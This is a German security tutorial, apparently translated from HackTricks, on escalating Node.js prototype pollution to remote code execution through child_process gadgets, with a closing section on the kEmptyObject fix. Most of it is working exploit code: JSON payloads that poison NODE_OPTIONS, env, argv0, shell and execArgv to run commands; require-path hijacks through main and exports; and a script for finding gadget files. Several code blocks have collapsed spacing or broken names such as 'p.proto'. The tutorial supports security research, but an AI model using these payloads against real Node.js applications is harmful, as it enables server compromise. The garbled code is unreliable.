Stellen Sie sich ein echtes JS vor, das einen Code wie den folgenden verwendet:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE über Umgebungsvariablen
PP2RCE bedeutet Prototype Pollution to RCE (Remote Code Execution).
Laut diesem Bericht wenn ein Prozess erzeugt wird mit einer Methode aus child_process (wie fork oder spawn oder anderen) ruft es die Methode normalizeSpawnArguments auf, die ein Prototype Pollution Gadget zur Erstellung neuer Umgebungsvariablen ist:
Überprüfen Sie den Code, den Sie sehen, es ist möglich, envPairs einfach durch Verschmutzen des Attributs .env zu vergiften.
Vergiftung von __proto__
Beachten Sie, dass aufgrund der Funktionsweise der normalizeSpawnArguments-Funktion aus der child_process-Bibliothek von Node, wenn etwas aufgerufen wird, um eine neue Umgebungsvariable für den Prozess festzulegen, Sie einfach alles verschmutzen müssen.
Wenn Sie beispielsweise __proto__.avar="valuevar" tun, wird der Prozess mit einer Variablen namens avar mit dem Wert valuevar gestartet.
Damit die Umgebungsvariable die erste ist, müssen Sie das .env-Attributverschmutzen und (nur in einigen Methoden) wird diese Variable die erste sein (was den Angriff ermöglicht).
Deshalb ist NODE_OPTIONSnicht in .env im folgenden Angriff.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Vergiften von constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE über env vars + cmdline
Ein ähnlicher Payload wie der vorherige mit einigen Änderungen wurde in diesem Bericht. Die Hauptunterschiede sind:
Anstatt den nodejs Payload in der Datei /proc/self/environ zu speichern, wird er in argv0 von /proc/self/cmdline gespeichert.
Dann, anstatt über NODE_OPTIONS die Datei /proc/self/environ zu verlangen, verlangt es /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
DNS-Interaktion
Mit den folgenden Payloads ist es möglich, die zuvor besprochene NODE_OPTIONS-Umgebungsvariable auszunutzen und zu überprüfen, ob es funktioniert hat, indem man eine DNS-Interaktion durchführt:
In diesem Abschnitt werden wir jede Funktion von child_process analysieren, um Code auszuführen und zu sehen, ob wir eine Technik verwenden können, um diese Funktion zur Ausführung von Code zu zwingen:
exec Ausnutzung
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile Ausnutzung
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
Für **`execFile`** zu funktionieren, **MUSS** es node ausführen, damit die NODE\_OPTIONS funktionieren.\
Wenn es **nicht** node ausführt, müssen Sie herausfinden, wie Sie die **Ausführung** von dem, was es ausführt, **mit Umgebungsvariablen** ändern und diese setzen können.
Die **anderen** Techniken **funktionieren** ohne diese Anforderung, da es **möglich ist,** **was ausgeführt wird** über Prototype Pollution zu modifizieren. (In diesem Fall, selbst wenn Sie `.shell` verschmutzen können, werden Sie nicht das verschmutzen, was ausgeführt wird).
</details>
<details>
<summary><code>fork</code> Ausnutzung</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn Ausnutzung
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync Ausnutzung
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync Ausnutzung
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync Ausnutzung
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Forcing Spawn
In den vorherigen Beispielen haben Sie gesehen, wie man das Gadget auslöst. Eine Funktionalität, die spawnaufruft, muss vorhanden sein (alle Methoden von child_process, die etwas ausführen, rufen es auf). Im vorherigen Beispiel war das Teil des Codes, aber was ist, wenn der Code es nicht aufruft?
Kontrolle über einen require-Dateipfad
In diesem anderen Bericht kann der Benutzer den Dateipfad steuern, an dem ein require ausgeführt wird. In diesem Szenario muss der Angreifer nur eine .js-Datei im System finden, die eine Spawn-Methode beim Import ausführt.
Einige Beispiele für gängige Dateien, die eine Spawn-Funktion beim Import aufrufen, sind:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Finden Sie weitere Dateien unten
Das folgende einfache Skript sucht nach Aufrufen von child_processohne Padding (um zu vermeiden, dass Aufrufe innerhalb von Funktionen angezeigt werden):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep--with-filename-nE"^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()""$file_path"|grep-v"require("|grep-v"function "|grep-v"util.deprecate"|sed-E's/.{255,}.*//'done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Interessante Dateien, die vom vorherigen Skript gefunden wurden
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Festlegen des Dateipfads über Prototyp-Verschmutzung
Die vorherige Technik erfordert, dass der Benutzer den Pfad der Datei kontrolliert, die required werden soll. Aber das ist nicht immer der Fall.
Wenn der Code jedoch ein Require nach der Prototyp-Verschmutzung ausführt, selbst wenn Sie den Pfad nicht kontrollieren, können Sie einen anderen erzwingen, indem Sie die Prototyp-Verschmutzung ausnutzen. Selbst wenn die Codezeile wie require("./a_file.js") oder require("bytes") aussieht, wird es das Paket erfordern, das Sie verschmutzt haben.
Daher, wenn ein Require nach Ihrer Prototyp-Verschmutzung ausgeführt wird und keine Spawn-Funktion, ist dies der Angriff:
Finden Sie eine .js-Datei im System, die beim Requireetwas mit child_process ausführt
Wenn Sie Dateien auf die Plattform hochladen können, könnten Sie eine solche Datei hochladen
Verschmutzen Sie die Pfade, um das Require zu zwingen, die .js-Datei zu laden, die etwas mit child_process ausführt
Verschmutzen Sie die environ/cmdline, um willkürlichen Code auszuführen, wenn eine Funktion zur Ausführung von child_process aufgerufen wird (siehe die ursprünglichen Techniken)
Absolutes Require
Wenn das durchgeführte Require absolut ist (require("bytes")) und das Paket kein main im package.json-Datei enthält, können Sie das main-Attribut verschmutzen und das Require dazu bringen, eine andere Datei auszuführen.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Relative require - 1
Wenn ein relativer Pfad anstelle eines absoluten Pfades geladen wird, können Sie node einen anderen Pfad laden:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relative require - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT=JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relative require - 3
Ähnlich wie das vorherige wurde dies in diesem Bericht gefunden.
In dem Papier https://arxiv.org/pdf/2207.11171.pdf wird auch angegeben, dass die Kontrolle von contextExtensions aus einigen Methoden der vm-Bibliothek als Gadget verwendet werden könnte.
Allerdings wurde, wie bei den vorherigen child_process-Methoden, dies in den neuesten Versionen behoben.
Fixes & Unerwartete Schutzmaßnahmen
Bitte beachten Sie, dass die Prototype-Pollution funktioniert, wenn das Attribut eines Objekts, auf das zugegriffen wird, undefiniert ist. Wenn im Code dieses Attribut auf einen Wertgesetzt wird, können Sie es nicht überschreiben.
Im Juni 2022 wurde von diesem Commit die Variable options anstelle eines {} zu einem kEmptyObject. Dies verhindert eine Prototype-Pollution, die die Attribute von options beeinflusst, um RCE zu erhalten.
Mindestens ab v18.4.0 wurde dieser Schutz implementiert, und daher funktionieren die spawn und spawnSyncExploits, die die Methoden betreffen, nicht mehr (wenn keine options verwendet werden!).
In diesem Commit wurde die Prototype-Pollution von contextExtensions aus der vm-Bibliothek auch irgendwie behoben, indem die Optionen auf kEmptyObject anstelle von {} gesetzt wurden.